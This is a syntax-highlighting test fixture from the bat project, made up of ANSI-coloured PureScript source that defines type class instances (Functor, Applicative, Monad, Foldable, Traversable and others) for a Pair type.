[38;2;249;38;114minstance[0m[38;2;248;248;242m [0m[38;2;255;255;255mshowPair[0m[38;2;248;248;242m β· [0m[3;38;2;102;217;239mShow[0m[38;2;248;248;242m [0m[38;2;255;255;255ma[0m[38;2;248;248;242m β [0m[3;38;2;102;217;239mShow[0m[38;2;248;248;242m ([0m[3;38;2;102;217;239mPair[0m[38;2;248;248;242m [0m[38;2;255;255;255ma[0m[38;2;248;248;242m) [0m[38;2;249;38;114mwhere[0m
[38;2;248;248;242m [0m[38;2;102;217;239mshow[0m[38;2;248;248;242m (x [0m[38;2;249;38;114m~[0m[38;2;248;248;242m y) [0m[38;2;249;38;114m=[0m[38;2;248;248;242m [0m[38;2;230;219;116m"[0m[38;2;230;219;116m([0m[38;2;230;219;116m"[0m[38;2;248;248;242m [0m[38;2;249;38;114m<>[0m[38;2;248;248;242m [0m[38;2;102;217;239mshow[0m[38;2;248;248;242m x [0m[38;2;249;38;114m<>[0m[38;2;248;248;242m [0m[38;2;230;219;116m"[0m[38;2;230;219;116m ~ [0m[38;2;230;219;116m"[0m[38;2;248;248;242m [0m[38;2;249;38;114m<>[0m[38;2;248;248;242m [0m[38;2;102;217;239mshow[0m[38;2;248;248;242m y [0m[38;2;249;38;114m<>[0m[38;2;248;248;242m [0m[38;2;230;219;116m"[0m[38;2;230;219;116m)[0m[38;2;230;219;116m"[0m
[38;2;249;38;114minstance[0m[38;2;248;248;242m [0m[38;2;255;255;255mfunctorPair[0m[38;2;248;248;242m β· [0m[3;38;2;102;217;239mFunctor[0m[38;2;248;248;242m [0m[3;38;2;102;217;239mPair[0m[38;2;248;248;242m [0m[38;2;249;38;114mwhere[0m
[38;2;248;248;242m map f (x [0m[38;2;249;38;114m~[0m[38;2;248;248;242m y) [0m[38;2;249;38;114m=[0m[38;2;248;248;242m f x [0m[38;2;249;38;114m~[0m[38;2;248;248;242m f y[0m
[38;2;249;38;114minstance[0m[38;2;248;248;242m [0m[38;2;255;255;255mapplyPair[0m[38;2;248;248;242m β· [0m[3;38;2;102;217;239mApply[0m[38;2;248;248;242m [0m[3;38;2;102;217;239mPair[0m[38;2;248;248;242m [0m[38;2;249;38;114mwhere[0m
[38;2;248;248;242m apply (f [0m[38;2;249;38;114m~[0m[38;2;248;248;242m g) (x [0m[38;2;249;38;114m~[0m[38;2;248;248;242m y) [0m[38;2;249;38;114m=[0m[38;2;248;248;242m f x [0m[38;2;249;38;114m~[0m[38;2;248;248;242m g y[0m
[38;2;249;38;114minstance[0m[38;2;248;248;242m [0m[38;2;255;255;255mapplicativePair[0m[38;2;248;248;242m β· [0m[3;38;2;102;217;239mApplicative[0m[38;2;248;248;242m [0m[3;38;2;102;217;239mPair[0m[38;2;248;248;242m [0m[38;2;249;38;114mwhere[0m
[38;2;248;248;242m [0m[38;2;102;217;239mpure[0m[38;2;248;248;242m x [0m[38;2;249;38;114m=[0m[38;2;248;248;242m x [0m[38;2;249;38;114m~[0m[38;2;248;248;242m x[0m
[38;2;249;38;114minstance[0m[38;2;248;248;242m [0m[38;2;255;255;255mbindPair[0m[38;2;248;248;242m β· [0m[3;38;2;102;217;239mBind[0m[38;2;248;248;242m [0m[3;38;2;102;217;239mPair[0m[38;2;248;248;242m [0m[38;2;249;38;114mwhere[0m
[38;2;248;248;242m bind (x [0m[38;2;249;38;114m~[0m[38;2;248;248;242m y) f [0m[38;2;249;38;114m=[0m[38;2;248;248;242m fst (f x) [0m[38;2;249;38;114m~[0m[38;2;248;248;242m snd (f y)[0m
[38;2;249;38;114minstance[0m[38;2;248;248;242m [0m[38;2;255;255;255mmonadPair[0m[38;2;248;248;242m β· [0m[3;38;2;102;217;239mMonad[0m[38;2;248;248;242m [0m[3;38;2;102;217;239mPair[0m
[38;2;249;38;114minstance[0m[38;2;248;248;242m [0m[38;2;255;255;255msemigroupPair[0m[38;2;248;248;242m β· [0m[3;38;2;102;217;239mSemigroup[0m[38;2;248;248;242m [0m[38;2;255;255;255ma[0m[38;2;248;248;242m β [0m[3;38;2;102;217;239mSemigroup[0m[38;2;248;248;242m ([0m[3;38;2;102;217;239mPair[0m[38;2;248;248;242m [0m[38;2;255;255;255ma[0m[38;2;248;248;242m) [0m[38;2;249;38;114mwhere[0m
[38;2;248;248;242m append (x1 [0m[38;2;249;38;114m~[0m[38;2;248;248;242m y1) (x2 [0m[38;2;249;38;114m~[0m[38;2;248;248;242m y2) [0m[38;2;249;38;114m=[0m[38;2;248;248;242m (x1 [0m[38;2;249;38;114m<>[0m[38;2;248;248;242m x2) [0m[38;2;249;38;114m~[0m[38;2;248;248;242m (y1 [0m[38;2;249;38;114m<>[0m[38;2;248;248;242m y2)[0m
[38;2;249;38;114minstance[0m[38;2;248;248;242m [0m[38;2;255;255;255mmonoidPair[0m[38;2;248;248;242m β· [0m[3;38;2;102;217;239mMonoid[0m[38;2;248;248;242m [0m[38;2;255;255;255ma[0m[38;2;248;248;242m β [0m[3;38;2;102;217;239mMonoid[0m[38;2;248;248;242m ([0m[3;38;2;102;217;239mPair[0m[38;2;248;248;242m [0m[38;2;255;255;255ma[0m[38;2;248;248;242m) [0m[38;2;249;38;114mwhere[0m
[38;2;248;248;242m [0m[38;2;102;217;239mmempty[0m[38;2;248;248;242m [0m[38;2;249;38;114m=[0m[38;2;248;248;242m [0m[38;2;102;217;239mmempty[0m[38;2;248;248;242m [0m[38;2;249;38;114m~[0m[38;2;248;248;242m [0m[38;2;102;217;239mmempty[0m
[38;2;249;38;114minstance[0m[38;2;248;248;242m [0m[38;2;255;255;255mfoldablePair[0m[38;2;248;248;242m β· [0m[3;38;2;102;217;239mFoldable[0m[38;2;248;248;242m [0m[3;38;2;102;217;239mPair[0m[38;2;248;248;242m [0m[38;2;249;38;114mwhere[0m
[38;2;248;248;242m foldr f z ([0m[38;2;190;132;255mPair[0m[38;2;248;248;242m x y) [0m[38;2;249;38;114m=[0m[38;2;248;248;242m x `f` (y `f` z)[0m
[38;2;248;248;242m foldl f z ([0m[38;2;190;132;255mPair[0m[38;2;248;248;242m x y) [0m[38;2;249;38;114m=[0m[38;2;248;248;242m (z `f` x) `f` y[0m
[38;2;248;248;242m foldMap f ([0m[38;2;190;132;255mPair[0m[38;2;248;248;242m x y) [0m[38;2;249;38;114m=[0m[38;2;248;248;242m f x [0m[38;2;249;38;114m<>[0m[38;2;248;248;242m f y[0m
[38;2;249;38;114minstance[0m[38;2;248;248;242m [0m[38;2;255;255;255mtraversablePair[0m[38;2;248;248;242m β· [0m[3;38;2;102;217;239mTraversable[0m[38;2;248;248;242m [0m[3;38;2;102;217;239mPair[0m[38;2;248;248;242m [0m[38;2;249;38;114mwhere[0m
[38;2;248;248;242m traverse f ([0m[38;2;190;132;255mPair[0m[38;2;248;248;242m x y) [0m[38;2;249;38;114m=[0m[38;2;248;248;242m [0m[38;2;190;132;255mPair[0m[38;2;248;248;242m [0m[38;2;249;38;114m<$>[0m[38;2;248;248;242m f x [0m[38;2;249;38;114m<[0m[38;2;248;248;242m*[0m[38;2;249;38;114m>[0m[38;2;248;248;242m f y[0m
[38;2;248;248;242m [0m[38;2;102;217;239msequence[0m[38;2;248;248;242m ([0m[38;2;190;132;255mPair[0m[38;2;248;248;242m mx my) [0m[38;2;249;38;114m=[0m[38;2;248;248;242m [0m[38;2;190;132;255mPair[0m[38;2;248;248;242m [0m[38;2;249;38;114m<$>[0m[38;2;248;248;242m mx [0m[38;2;249;38;114m<[0m[38;2;248;248;242m*[0m[38;2;249;38;114m>[0m[38;2;248;248;242m my[0m
[38;2;249;38;114minstance[0m[38;2;248;248;242m [0m[38;2;255;255;255mdistributivePair[0m[38;2;248;248;242m β· [0m[3;38;2;102;217;239mDistributive[0m[38;2;248;248;242m [0m[3;38;2;102;217;239mPair[0m[38;2;248;248;242m [0m[38;2;249;38;114mwhere[0m
[38;2;248;248;242m distribute xs [0m[38;2;249;38;114m=[0m[38;2;248;248;242m map fst xs [0m[38;2;249;38;114m~[0m[38;2;248;248;242m map snd xs[0m
[38;2;248;248;242m collect f xs [0m[38;2;249;38;114m=[0m[38;2;248;248;242m map (fst [0m[38;2;249;38;114m<<<[0m[38;2;248;248;242m f) xs [0m[38;2;249;38;114m~[0m[38;2;248;248;242m map (snd [0m[38;2;249;38;114m<<<[0m[38;2;248;248;242m f) xs[0m
[38;2;249;38;114minstance[0m[38;2;248;248;242m [0m[38;2;255;255;255marbitraryPair[0m[38;2;248;248;242m β· [0m[3;38;2;102;217;239mArbitrary[0m[38;2;248;248;242m [0m[38;2;255;255;255ma[0m[38;2;248;248;242m β [0m[3;38;2;102;217;239mArbitrary[0m[38;2;248;248;242m ([0m[3;38;2;102;217;239mPair[0m[38;2;248;248;242m [0m[38;2;255;255;255ma[0m[38;2;248;248;242m) [0m[38;2;249;38;114mwhere[0m
[38;2;248;248;242m arbitrary [0m[38;2;249;38;114m=[0m[38;2;248;248;242m [0m[38;2;190;132;255mPair[0m[38;2;248;248;242m [0m[38;2;249;38;114m<$>[0m[38;2;248;248;242m arbitrary [0m[38;2;249;38;114m<[0m[38;2;248;248;242m*[0m[38;2;249;38;114m>[0m[38;2;248;248;242m arbitrary[0m
| PureScript | 5 | JesseVermeulen123/bat | tests/syntax-tests/highlighted/PureScript/test.purs | [
"Apache-2.0",
"MIT"
] |